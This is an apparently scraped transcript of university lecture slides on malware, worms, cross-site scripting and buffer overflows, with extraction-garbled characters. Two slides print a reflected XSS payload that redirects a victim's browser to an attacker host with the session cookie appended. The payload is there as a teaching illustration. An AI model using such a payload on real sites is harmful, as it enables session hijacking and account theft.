malware reading material
play

Malware Reading Material Ken Thompson and Trojans - PowerPoint PPT Presentation

Malware Reading Material Ken Thompson and Trojans h6p://www.ece.cmu.edu/~ganger/712.fall02/ papers/p761-thompson.pdf Worm Anatomy and Model


  1. Signature ¡Avoiding ¡Viruses ¡ • Polymorphic ¡Virus ¡produces ¡varying ¡but ¡operaGonal ¡ copies ¡of ¡itself ¡ – Use ¡alternaGve ¡but ¡equivalent ¡instrucGons ¡ – Gets ¡around ¡signature ¡scanners. ¡Whale ¡virus, ¡32 ¡ variants ¡ • Stealth ¡Virus ¡acGvely ¡tries ¡to ¡hide ¡all ¡signs ¡of ¡its ¡ presence ¡ – A ¡virus ¡can ¡intercept ¡calls ¡to ¡read ¡a ¡file ¡and ¡return ¡ correct ¡values ¡about ¡file ¡sizes ¡etc. ¡ ¡

  2. Another ¡Signature ¡Avoiding ¡Virus ¡ • Encrypted ¡Virus ¡stores ¡bulk ¡of ¡self ¡encrypted ¡ – Small ¡decrypt ¡rouGne ¡in ¡clear ¡ – Key ¡stored ¡in ¡clear ¡

  3. Worms ¡ • Propagate ¡from ¡one ¡computer ¡to ¡another ¡ • Viruses ¡use ¡email/infected ¡media ¡to ¡propagate ¡to ¡so ¡ differenGaGon ¡is ¡fuzzy ¡

  4. The ¡Morris ¡Worm ¡Incident ¡ How ¡99 ¡lines ¡of ¡code ¡brought ¡down ¡the ¡Internet ¡(ARPANET ¡actually) ¡ ¡in ¡ • November ¡1988. ¡ ¡Robert ¡Morris ¡Jr. ¡Ph.D ¡student, ¡Cornell, ¡wrote ¡a ¡program ¡that ¡could: ¡ • – Connect ¡to ¡another ¡computer, ¡and ¡find ¡and ¡use ¡one ¡of ¡several ¡vulnerabiliGes ¡ (buffer ¡overflow ¡in ¡fingerd, ¡password ¡cracking ¡etc.) ¡to ¡copy ¡itself ¡to ¡that ¡ second ¡computer. ¡ – Begin ¡to ¡run ¡the ¡copy ¡of ¡itself ¡at ¡the ¡new ¡locaGon. ¡ – Both ¡the ¡original ¡code ¡and ¡the ¡copy ¡would ¡then ¡repeat ¡these ¡acGons ¡in ¡an ¡ infinite ¡loop ¡to ¡other ¡computers ¡on ¡the ¡ARPANET ¡(mistake!) ¡ Morris ¡was ¡sentenced ¡to ¡three ¡years ¡of ¡probaGon, ¡400 ¡hours ¡of ¡ • community ¡service, ¡and ¡a ¡fine ¡of ¡$10,050. ¡He ¡is ¡now ¡a ¡Professor ¡at ¡MIT. ¡ Worms ¡have ¡go6en ¡bigger ¡and ¡more ¡aggressive ¡ •

  5. Worm ¡Phases ¡ • Dormant ¡ • PropagaGon ¡ – Search ¡for ¡other ¡systems ¡to ¡infect ¡ – Establish ¡connecGon ¡to ¡target ¡remote ¡system ¡ – Replicate ¡self ¡onto ¡remote ¡system ¡ • Triggering ¡ • ExecuGon ¡

  6. Who ¡to ¡target? ¡ • Scanning ¡ – Currently ¡generally ¡used ¡ – Select ¡random ¡addresses ¡ • Mix ¡of ¡addresses ¡in ¡current ¡network ¡(local ¡computers ¡ probably ¡have ¡similar ¡vulnerabiliGes) ¡and ¡remote ¡ networks ¡ – No ¡longer ¡feasible ¡in ¡IPv6 ¡ ¡ • 32 ¡bit ¡vs ¡128 ¡bit ¡address ¡space ¡

  7. Viruses ¡and ¡Worms ¡in ¡IPv4 ¡ • Slammer ¡infected ¡most ¡of ¡the ¡IPv4 ¡Internet ¡in ¡10 ¡minutes ¡ (75,000 ¡hosts ¡infected ¡in ¡one-­‑half ¡hour) ¡ Source ¡caida.org ¡

  8. Worms ¡in ¡IPv6 ¡ • Address ¡space ¡is ¡2^128 ¡instead ¡of ¡2^32 ¡ – Random ¡address ¡selecGon ¡will ¡not ¡work ¡ • Say ¡¼ ¡of ¡address ¡in ¡IP4 ¡network ¡run ¡Windows ¡ – 1 ¡in ¡4 ¡chance ¡of ¡finding ¡a ¡target ¡with ¡each ¡probe ¡ • Spread ¡that ¡among ¡2^128 ¡addresses ¡ – 1 ¡in ¡2^98 ¡chances ¡of ¡finding ¡a ¡viable ¡target ¡

  9. Other ¡Techniques ¡to ¡Find ¡Targets ¡ • InteresGng ¡Papers ¡ – How ¡to ¡0wn ¡the ¡Internet… ¡ h6p://www.icir.org/vern/papers/cdc-­‑usenix-­‑sec02/ ¡ – Top ¡speed ¡of ¡flash ¡worms ¡ h6p://vividmachines.com/papers/topspeed.pdf ¡ • Hitlist ¡Scanning ¡ – Stealthy ¡scans ¡(randomized, ¡over ¡months), ¡distributed ¡scanning, ¡ • DNS ¡searches, ¡Spiders ¡(Code ¡red, ¡crawls ¡for ¡high ¡connecGvity), ¡ listening ¡on ¡P2P ¡networks, ¡public ¡lists ¡ • PermutaGon ¡scanning ¡(divide ¡up ¡IP ¡address ¡space) ¡ • Warhol ¡worm-­‑ ¡Hit ¡list ¡+ ¡permutaGon ¡

  10. Network ¡PropagaGon ¡ • Send ¡small ¡number ¡of ¡packets ¡to ¡reduce ¡detecGon ¡ • UDP ¡packets ¡ – No ¡ACK ¡needed, ¡so ¡can ¡spoof ¡source ¡address ¡ • Connect ¡to ¡vulnerable ¡network ¡services ¡ – Generally ¡exercise ¡buffer ¡overflow ¡ – Launch ¡shell ¡ • Running ¡at ¡ ¡high ¡privilege ¡(ideal) ¡ • Or ¡use ¡as ¡foothold ¡to ¡mount ¡other ¡a6acks ¡to ¡gain ¡privilege ¡ • Or ¡use ¡as ¡a6ack ¡launch ¡point ¡

  11. Worm ¡Examples ¡ • Morris ¡Worm ¡ • Code ¡Red ¡ – Exploited ¡bug ¡in ¡MS ¡IIS ¡to ¡penetrate ¡and ¡spread ¡ – Probes ¡random ¡IPs ¡for ¡systems ¡running ¡IIS ¡ – Had ¡trigger ¡Gme ¡for ¡denial-­‑of-­‑service ¡a6ack ¡ – 2nd ¡wave ¡infected ¡360000 ¡servers ¡in ¡14 ¡hours ¡ • Code ¡Red ¡2 ¡-­‑ ¡trapdoor, ¡for ¡remote ¡control ¡ • Nimda ¡-­‑ ¡used ¡mulGple ¡infecGon ¡mechanisms, ¡email, ¡ file-­‑sharing, ¡web-­‑client, ¡IIS, ¡Code ¡Red ¡2 ¡backdoor ¡

  12. A6acks ¡through ¡browsers ¡ 32 ¡

  13. HTML ¡is ¡stateless ¡ • Each ¡interacGon ¡of ¡a ¡client ¡with ¡server ¡has ¡no ¡ memory, ¡at ¡least ¡as ¡far ¡as ¡the ¡protocol ¡is ¡concerned ¡ • Session ¡state ¡is ¡created ¡by ¡ server, ¡wriGng ¡a ¡“cookie” ¡ into ¡a ¡document ¡as ¡part ¡of ¡the ¡header, ¡saved ¡by ¡the ¡ client’s ¡browser ¡ • May ¡contain ¡anything ¡the ¡server ¡wishes ¡to ¡record, ¡e.g. ¡ – Password, ¡account ¡number, ¡idenGty, ¡shopping ¡cart ¡ – Most ¡typically ¡a ¡session ¡ID ¡ • Cookie ¡is ¡returned ¡by ¡the ¡browser ¡with ¡every ¡access ¡ to ¡the ¡server ¡ 33 ¡

  14. How ¡cookies ¡work ¡ From ¡the ¡client ¡to ¡the ¡ server, ¡something ¡like ¡ ¡ With ¡a ¡response ¡(to ¡set ¡a ¡ cookie) ¡like ¡ Browser ¡understands ¡to ¡ include ¡cookie ¡with ¡ every ¡subsequent ¡GET, ¡ e.g. ¡ Cookie ¡tells ¡server ¡the ¡second ¡request ¡is ¡related ¡to ¡the ¡first ¡ Other ¡cookie ¡a6ributes ¡include ¡domain, ¡path, ¡expiraGon ¡date ¡ 34 ¡

  15. Abuse ¡of ¡Cookies ¡ • “Cookie ¡hijacking” ¡ – Unencrypted ¡cookie ¡value ¡sniffed ¡off ¡network, ¡ HTTP ¡session ¡is ¡“hijacked” ¡by ¡outsider ¡who ¡has ¡ credenGals ¡the ¡cookie ¡represents ¡ • “Cookie ¡Thef”, ¡more ¡subtle, ¡done ¡remotely ¡ – Track ¡behaviors ¡ – Reveal ¡idenGty ¡ – Steal ¡and ¡abuse ¡idenGty ¡ • Access ¡to ¡cookies ¡achieved ¡using ¡ Javascript ¡ 35 ¡

  16. Javascript ¡ • Programming ¡language ¡designed ¡to ¡make ¡web ¡pages ¡ “dynamic”, ¡e.g., ¡ – Format ¡checking ¡of ¡web ¡form ¡entries ¡ – Pop ¡open ¡a ¡new ¡window ¡ – Changing ¡images ¡as ¡cursor ¡passes ¡over ¡specific ¡ regions ¡of ¡the ¡page ¡ • Executed ¡within ¡a ¡browser ¡(“client-­‑side”) ¡ – Can ¡be ¡embedded ¡in ¡page ¡obtained ¡from ¡server ¡ – Interacts ¡with ¡elements ¡of ¡the ¡page ¡(“Document ¡ Object ¡Model”, ¡or ¡DOM) ¡ • Includes ¡data, ¡javascript ¡can ¡get ¡the ¡value ¡of ¡a ¡cookie ¡ 36 ¡

  17. Document ¡Object ¡Model ¡ • A ¡script ¡bound ¡to ¡a ¡page ¡has ¡a ¡ “DOM” ¡model ¡of ¡that ¡page ¡ • Can ¡pass ¡informaGon ¡back ¡to ¡ the ¡server, ¡or ¡a ¡different ¡web-­‑ site ¡altogether ¡ • So ¡we ¡have ¡a ¡powerful ¡ programming ¡language ¡in ¡a ¡web ¡ page ¡that ¡can ¡get ¡to ¡sensiGve ¡ informaGon ¡and ¡send ¡it ¡ elsewhere ¡ – Think ¡maybe ¡there’s ¡potenGal ¡ for ¡a ¡problem ¡here? ¡ 37 ¡

  18. ProtecGon ¡101 ¡ A ¡browser ¡concurrently ¡manages ¡mulGple ¡pages ¡from ¡mulGple ¡ origins ¡ – Each ¡has ¡its ¡own ¡document ¡elements, ¡including ¡cookies ¡ The ¡“Same ¡Origin ¡Policy” ¡prevents ¡a ¡document ¡or ¡script ¡from ¡ one ¡site ¡of ¡origin ¡from ¡manipulaGng ¡or ¡communicaGng ¡with ¡ one ¡from ¡a ¡different ¡origin ¡ – But ¡allows ¡coordinaGon ¡for ¡pages ¡“within” ¡same ¡origin, ¡ e.g., ¡scripts ¡can ¡“see” ¡other ¡pages, ¡including ¡their ¡cookies ¡ “Origin” ¡here ¡refers ¡to ¡(domain ¡name, ¡port, ¡protocol) ¡of ¡site, ¡see ¡ below ¡ 38 ¡

  19. The ¡security ¡assumpGon ¡ Under ¡the ¡Same ¡Origin ¡Policy, ¡the ¡client ¡browser ¡trusts ¡ any ¡script ¡ it ¡receives ¡from ¡ the ¡server ¡to ¡access ¡any ¡ cookie ¡bound ¡to ¡ any ¡page ¡in ¡the ¡same ¡domain ¡ because ¡it ¡trusts ¡the ¡server ¡ Should ¡it? ¡ Frequently ¡a ¡server ¡will ¡just ¡ reflect ¡back ¡ input ¡from ¡a ¡ client ¡ 39 ¡

  20. Example ¡of ¡ReflecGng ¡Input ¡ Query ¡ Response ¡ 40 ¡

  21. The ¡client ¡might ¡send ¡a ¡script! ¡ A ¡cross ¡site ¡scrip4ng ¡(XSS) ¡ vulnerability ¡exists ¡at ¡a ¡ server ¡if ¡it ¡reflects ¡back ¡a ¡script ¡that ¡is ¡then ¡executed ¡ at ¡the ¡client ¡ But ¡what’s ¡the ¡problem? ¡ ¡A ¡client ¡a6acks ¡herself? ¡ Watch ¡this…. ¡ 41 ¡

  22. XSS ¡A6ack ¡ www.bob.com ¡ Suppose ¡ ¡ • – www.bob.com ¡has ¡an ¡XSS ¡vulnerability ¡ – Alice ¡visits ¡www.bob.com ¡a ¡lot ¡ She ¡logs ¡in, ¡www.bob.com ¡returns ¡a ¡session ¡ID ¡ • cookie ¡ login ¡ – Eve ¡knows ¡about ¡the ¡vulnerability ¡and ¡sends ¡Alice ¡ an ¡email ¡with ¡an ¡evil ¡link ¡(containing ¡an ¡a6ack ¡ www.bob.com ¡ script) ¡ ¡ Or ¡embedded ¡in ¡a ¡CSS ¡header ¡with ¡HTML ¡forma6ed ¡ • email. ¡ ¡ ¡Alice ¡only ¡has ¡to ¡OPEN ¡the ¡message! ¡ cookie:session ¡ID ¡ h6p://host/a.php?variable="><script>document.locaGon='h6p://www.witch.com/cgi-­‑bin/get.cgi? ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡'%20+document.cookie</script> ¡ ¡ 42 ¡

  23. XSS ¡A6ack ¡: ¡Cookie ¡Thef ¡ • Directed ¡at ¡server ¡ www.bob.com ¡ • Embedded ¡Script ¡ • Transmission ¡to ¡www.witch.com ¡ • Alice’s ¡cookie ¡ cookie:session ¡ID ¡ h6p://www.bob.com/a.php? ¡ ¡ ¡ ¡ ¡ ¡ ¡variable="><script>document.locaGon='h6p://www.witch.com/cgi-­‑bin/get.cgi? ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡'%20+ document.cookie </script> ¡ ¡ 43 ¡

  24. XSS ¡A6ack ¡: ¡Cookie ¡Thef ¡ www.bob.com ¡ www.witch.com ¡ www.bob.com ¡ …<script>… ¡ Reflected ¡back ¡ cookie:session ¡ID ¡ cookie:session ¡ID ¡ cookie:session ¡ID ¡ cookie:session ¡ID ¡ • Click ¡evil ¡URL ¡ Script ¡takes ¡permissions ¡ • of ¡Alice’s ¡page ¡on ¡ Script ¡executes ¡ • www.bob.com ¡ With ¡Alice’s ¡session ¡ID, ¡Eve ¡can ¡impersonate ¡Alice, ¡obtain ¡sensiGve ¡ • informaGon ¡from ¡her ¡account ¡on ¡www.bob.com ¡ 44 ¡

  25. Other ¡XSS ¡a6acks ¡ BulleGn ¡Board ¡ ¡PosGngs ¡ – ¡ ¡some ¡permit ¡user ¡inclusion ¡of ¡HTML ¡ ¡ Mashups ¡ – Web ¡sites ¡that ¡integrate ¡interacGng ¡components ¡from ¡ mulGple ¡sources, ¡e.g., ¡hotel ¡lisGng ¡with ¡maps.google.com ¡ at ¡the ¡side ¡or ¡adverGsements ¡in ¡Facebook ¡ Mashups ¡work ¡around ¡Same ¡Origin ¡Policy ¡ If ¡a ¡Mashup ¡framework ¡is ¡vulnerable ¡to ¡XSS, ¡then ¡a ¡malicious ¡ component ¡can ¡inject ¡code ¡ – ¡ e.g. ¡a ¡paid-­‑for ¡web ¡adverGsement ¡ 45 ¡

  26. Mashups ¡ If ¡a ¡Mashup ¡framework ¡is ¡vulnerable ¡to ¡XSS, ¡then ¡a ¡malicious ¡ component ¡can ¡inject ¡code ¡(e.g. ¡adverGsement) ¡ 46 ¡

  27. A6acks ¡through ¡memory ¡ 47 ¡

  28. Outline ¡ Typical ¡a6ack ¡through ¡memory ¡is ¡comprised ¡of ¡several ¡ parts ¡ – Find ¡an ¡applicaGon ¡with ¡a ¡memory ¡vulnerability ¡ • Browsers, ¡internet ¡service ¡apps, ¡Adobe ¡Reader… ¡ – Find ¡a ¡way ¡of ¡a ¡controled ¡overwrite ¡of ¡a ¡criGcal ¡ piece ¡of ¡memory ¡ • Usually ¡to ¡get ¡the ¡computer ¡to ¡execute ¡a6acker’s ¡code ¡ – Find ¡a ¡way ¡of ¡ge•ng ¡a6acker’s ¡code ¡in ¡memory ¡ – Trigger ¡vulnerability ¡with ¡carefully ¡crafed ¡a6ack ¡ input ¡ 48 ¡

  29. Let’s ¡start ¡at ¡the ¡very ¡beginning ¡ “Von ¡Neumann” ¡computers ¡store ¡programs ¡in ¡memory, ¡ along ¡with ¡data ¡ Modern ¡computers ¡use ¡dedicated ¡registers ¡to ¡“point” ¡at ¡key ¡ locaGons ¡ Program ¡Counter ¡(PC) ¡ Stack ¡Pointer ¡(SP) ¡ An ¡“instrucGon” ¡is ¡read ¡out ¡from ¡ The ¡memory ¡locaGon ¡given ¡by ¡the ¡ PC, ¡and ¡interpreted ¡by ¡the ¡control ¡ Unit ¡ • ¡the ¡PC ¡is ¡increased ¡to ¡point ¡ to ¡the ¡next ¡instrucGon ¡ • ¡the ¡“stack” ¡is ¡dynamically ¡ changing ¡scratch ¡space ¡ 49 ¡

  30. Memory ¡OrganizaGon ¡ Virtual ¡memory ¡-­‑-­‑-­‑ ¡hardware ¡translaGon ¡of ¡logical ¡ address ¡space ¡to ¡physical ¡: ¡every ¡process ¡“sees” ¡the ¡ whole ¡memory ¡for ¡itself ¡ Memory ¡parGGoned ¡in ¡to ¡different ¡ segments ¡with ¡different ¡roles ¡ • Kernel ¡ • Text ¡(instrucGons) ¡ • IniGalized ¡data ¡ • UniniGalized ¡data ¡ • Dynamically ¡allocated ¡ • Stack ¡ • heap ¡ 50 ¡

  31. Jumping ¡around ¡ The ¡PC ¡advances ¡linearly, ¡except ¡when ¡it ¡is ¡explicitly ¡loaded ¡ – To ¡branch ¡on ¡a ¡condiGonal ¡instrucGon ¡ – To ¡“jump” ¡to ¡a ¡subrouGne ¡ – To ¡“return” ¡from ¡a ¡subrouGne ¡ – To ¡handle ¡an ¡excepGon ¡ – To ¡select ¡the ¡implementaGon ¡of ¡a ¡“virtual ¡funcGon” ¡ In ¡all ¡but ¡the ¡first ¡of ¡these ¡cases, ¡the ¡value ¡loaded ¡into ¡the ¡ PC ¡is ¡found ¡explicitly ¡in ¡memory. ¡ ¡ – A ¡memory ¡a6ack ¡consists ¡of ¡changing ¡that ¡value ¡to ¡ point ¡to ¡some ¡code ¡the ¡a6acker ¡managed ¡to ¡get ¡into ¡ the ¡memory ¡ ¡ 51 ¡

  32. Primer ¡on ¡subrouGnes ¡ A ¡subrouGne ¡is ¡a ¡modular ¡block ¡of ¡code ¡ – The ¡program ¡“calls” ¡via ¡a ¡special ¡CPU ¡instrucGon ¡ • PC ¡is ¡loaded ¡with ¡the ¡subrouGne ¡address ¡ – The ¡subrouGne ¡“returns” ¡to ¡the ¡instrucGon ¡afer ¡ the ¡calling ¡point, ¡via ¡a ¡special ¡CPU ¡instrucGon ¡ • The ¡address ¡loaded ¡into ¡the ¡CPU ¡is ¡on ¡the ¡“stack” ¡ 52 ¡

  33. Stack ¡Dynamics ¡ • Each ¡subrouGne ¡call ¡pushes ¡a ¡frame ¡onto ¡the ¡stack ¡ – It ¡is ¡popped ¡on ¡return ¡ – SP ¡moves ¡with ¡each ¡stack ¡operaGon ¡ – Look ¡at ¡posiGon ¡of ¡“Local ¡Variables” ¡ – Memory ¡writes ¡go ¡from ¡low ¡address ¡to ¡high ¡address ¡ – Hold ¡that ¡thought…. ¡ 53 ¡

  34. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ to ¡ from ¡ a ¡ y ¡ b ¡ c ¡ null ¡ x ¡ z ¡ empty ¡ empty ¡ buffer ¡ In ¡use ¡

  35. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ to ¡ from ¡ y ¡ b ¡ c ¡ null ¡ a ¡ x ¡ z ¡ empty ¡ buffer ¡ In ¡use ¡

  36. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ from ¡ to ¡ y ¡ b ¡ c ¡ null ¡ a ¡ x ¡ z ¡ empty ¡ buffer ¡ In ¡use ¡ from ¡points ¡to ¡null? ¡No ¡

  37. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ from ¡ to ¡ y ¡ b ¡ c ¡ null ¡ a ¡ b ¡ x ¡ z ¡ a ¡ buffer ¡ In ¡use ¡

  38. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ from ¡ to ¡ y ¡ b ¡ c ¡ null ¡ a ¡ b ¡ x ¡ z ¡ a ¡ buffer ¡ In ¡use ¡ from ¡points ¡to ¡null? ¡No ¡

  39. Buffer ¡Overflow ¡ When ¡a ¡buffer ¡is ¡created ¡memory, ¡its ¡maximum ¡length ¡is ¡ declared ¡ Common ¡operaGon ¡: ¡copy ¡a ¡string ¡of ¡characters, ¡from ¡one ¡place ¡ in ¡memory ¡to ¡another ¡ – By ¡convenGon, ¡a ¡null ¡byte ¡(all ¡0’s) ¡signals ¡the ¡end ¡ Sloppy ¡coding ¡pracGce ¡: ¡copy ¡one ¡byte ¡at ¡a ¡Gme, ¡unGl ¡null ¡is ¡ reached ¡ from ¡ to ¡ y ¡ b ¡ c ¡ null ¡ a ¡ b ¡ z ¡ a ¡ c ¡ buffer ¡ In ¡use ¡ ! ¡

  40. Buffer ¡Overflow ¡ • Most ¡common ¡pen-­‑test ¡security ¡vulnerability ¡2003 ¡(SANS/FBI) ¡ • One ¡of ¡the ¡most ¡serious ¡classes ¡of ¡security ¡threats ¡ – An ¡a6acker ¡can ¡gain ¡parGal ¡or ¡complete ¡control ¡of ¡a ¡host ¡ • Buffer ¡(array ¡or ¡string): ¡space ¡in ¡which ¡data ¡can ¡be ¡held ¡ • A ¡buffer’s ¡capacity ¡is ¡finite: ¡ – char ¡sample[10]; ¡ – sample[10] ¡= ¡’A’; ¡ • Buffer ¡sizes ¡do ¡not ¡have ¡to ¡be ¡predefined. ¡Out-­‑of-­‑bounds ¡ error ¡ 60 ¡

  41. Effects ¡of ¡Buffer ¡Overflow ¡ • A ¡program ¡that ¡fails ¡to ¡check ¡a ¡buffer ¡overflow ¡may ¡ allow ¡vital ¡code ¡or ¡data ¡to ¡be ¡overwri6en ¡ • A ¡buffer ¡may ¡overflow ¡into ¡and ¡change: ¡ – User’s ¡own ¡data ¡structures ¡ – User’s ¡program ¡code ¡ – System ¡data ¡structures ¡ – System ¡program ¡code ¡ • Most ¡common ¡a6ack ¡is ¡to ¡subvert ¡the ¡funcGon ¡of ¡a ¡ privileged ¡program ¡and ¡take ¡control ¡of ¡the ¡host ¡ 61 ¡

  42. Old ¡School ¡: ¡Stack ¡Smashing ¡ • A6acker ¡overflows ¡stack ¡allocated ¡variable ¡to ¡corrupt ¡ the ¡return ¡address ¡ • Also ¡called ¡Stack ¡Smashing ¡A6ack. ¡ – Formerly ¡most ¡common ¡buffer-­‑overflow ¡a6ack, ¡now ¡ largely ¡miGgated ¡ • Rewrite ¡return ¡address ¡or ¡frame ¡pointer ¡with ¡a6ack ¡ code, ¡or ¡rewrite ¡pointer ¡to ¡address ¡to ¡“a6ack” ¡code ¡ in ¡user ¡memory ¡ • On ¡return ¡execuGng ¡code ¡in ¡stack ¡buffer ¡at ¡original ¡ program ¡privilege ¡ – Typically ¡a6ackers ¡exec ¡a ¡shell ¡ 62 ¡

  43. Stack ¡smashing ¡ SomeGmes ¡a ¡subrouGne ¡will ¡create ¡a ¡buffer ¡in ¡“local ¡ variables”, ¡copy ¡a ¡string ¡into ¡it, ¡but ¡not ¡check ¡length ¡ Buffer ¡ 63 ¡

  44. Stack ¡smashing ¡ SomeGmes ¡a ¡subrouGne ¡will ¡create ¡a ¡buffer ¡in ¡“local ¡ variables”, ¡copy ¡a ¡string ¡into ¡it, ¡but ¡not ¡check ¡length ¡ A6acker ¡data ¡ 64 ¡

  45. Stack ¡smashing ¡ SomeGmes ¡a ¡subrouGne ¡will ¡create ¡a ¡buffer ¡in ¡“local ¡ variables”, ¡copy ¡a ¡string ¡into ¡it, ¡but ¡not ¡check ¡length ¡ A6acker ¡data ¡ 65 ¡

  46. Stack ¡smashing ¡ SomeGmes ¡a ¡subrouGne ¡will ¡create ¡a ¡buffer ¡in ¡“local ¡ variables”, ¡copy ¡a ¡string ¡into ¡it, ¡but ¡not ¡check ¡length ¡ Address ¡of ¡“shellcode” ¡ A6acker ¡data ¡ Returning ¡from ¡subrouGne ¡call ¡loads ¡PC ¡with ¡address ¡of ¡“shellcode” ¡ ¡about ¡which ¡more, ¡anon ¡ ¡ 66 ¡

  47. Stack ¡smashing ¡ SomeGmes ¡a ¡subrouGne ¡will ¡create ¡a ¡buffer ¡in ¡“local ¡ variables”, ¡copy ¡a ¡string ¡into ¡it, ¡but ¡not ¡check ¡length ¡ shellcode ¡ Address ¡of ¡“shellcode” ¡ A6acker ¡data ¡ A6ack ¡code ¡just ¡part ¡of ¡the ¡string ¡being ¡copied ¡ 67 ¡

  48. Defense ¡against ¡stack ¡smashing ¡ The ¡a6acker ¡needs ¡to ¡know ¡the ¡memory ¡address ¡of ¡his ¡ shellcode ¡ – The ¡a6acker’s ¡string ¡gets ¡loaded ¡on ¡to ¡the ¡stack, ¡ a6acker ¡can ¡use ¡a ¡debugger ¡to ¡figure ¡out ¡addresses ¡ Defenses ¡include ¡ ¡ • se•ng ¡“no ¡execute” ¡protecGon ¡on ¡stack ¡ • RandomizaGon ¡of ¡memory ¡layout ¡with ¡each ¡program ¡ execuGon ¡ • StaGc ¡and ¡dynamic ¡buffer ¡bounds ¡checking ¡ 68 ¡

  49. The ¡Empire ¡Strikes ¡Back ¡ A6acker ¡a6enGon ¡moved ¡to ¡a6acks ¡through ¡memory ¡ addresses ¡not ¡on ¡the ¡stack ¡ Stack ¡allocaGons ¡are ¡temporarily, ¡they ¡disappear ¡afer ¡a ¡ subrouGne ¡returns ¡ The ¡“heap” ¡allows ¡a ¡program ¡to ¡dynamically ¡request ¡a ¡ block ¡of ¡memory, ¡and ¡have ¡it ¡stay ¡allocated ¡across ¡ mulGple ¡subrouGne ¡calls ¡ The ¡data ¡segments ¡store ¡variables ¡and ¡strings ¡that ¡ might ¡also ¡be ¡subverted ¡by ¡an ¡overflow ¡ 69 ¡

  50. Example ¡: ¡changing ¡a ¡file ¡name ¡ • Imagine ¡a ¡buffer ¡that ¡resides ¡just ¡below ¡a ¡string ¡that ¡idenGfies ¡ a ¡file ¡ / ¡ ¡ ¡ ¡ ¡ ¡ ¡t ¡ ¡ ¡ ¡ ¡ ¡m ¡ ¡ ¡ ¡p ¡ ¡ ¡ ¡ ¡ ¡/ ¡ ¡ ¡ ¡ ¡ ¡ ¡s ¡ ¡ ¡ ¡ ¡ ¡c ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡r ¡ ¡ ¡ ¡ ¡ ¡ ¡a ¡ ¡ ¡ ¡ ¡t ¡ ¡ ¡ ¡ ¡ ¡ ¡c ¡ ¡ ¡ ¡ ¡ ¡ ¡h ¡ ¡ null ¡ buffer ¡ • Further ¡imagine ¡a ¡program ¡that ¡has ¡a ¡buffer ¡overflow ¡ vulnerability ¡on ¡“buffer”, ¡opens ¡the ¡named ¡file, ¡and ¡writes ¡ user ¡supplied ¡informaGon ¡there ¡ • A6ack ¡consists ¡of ¡ – OverwriGng ¡buffer, ¡replacing ¡file ¡name ¡with ¡a6acker’s ¡ choice, ¡e.g., ¡/etc/.rhosts ¡ – Choosing ¡string ¡to ¡write ¡into ¡file, ¡e.g., ¡an ¡rhosts ¡file ¡that ¡ includes ¡a6acker’s ¡machine ¡ • Observe ¡that ¡no ¡subversion ¡of ¡control ¡flow ¡occurs ¡ ¡ 70 ¡

  51. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ Remember ¡doubly ¡linked ¡lists ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ size ¡ Programs ¡dynamically ¡add ¡and ¡delete ¡items ¡ 71 ¡

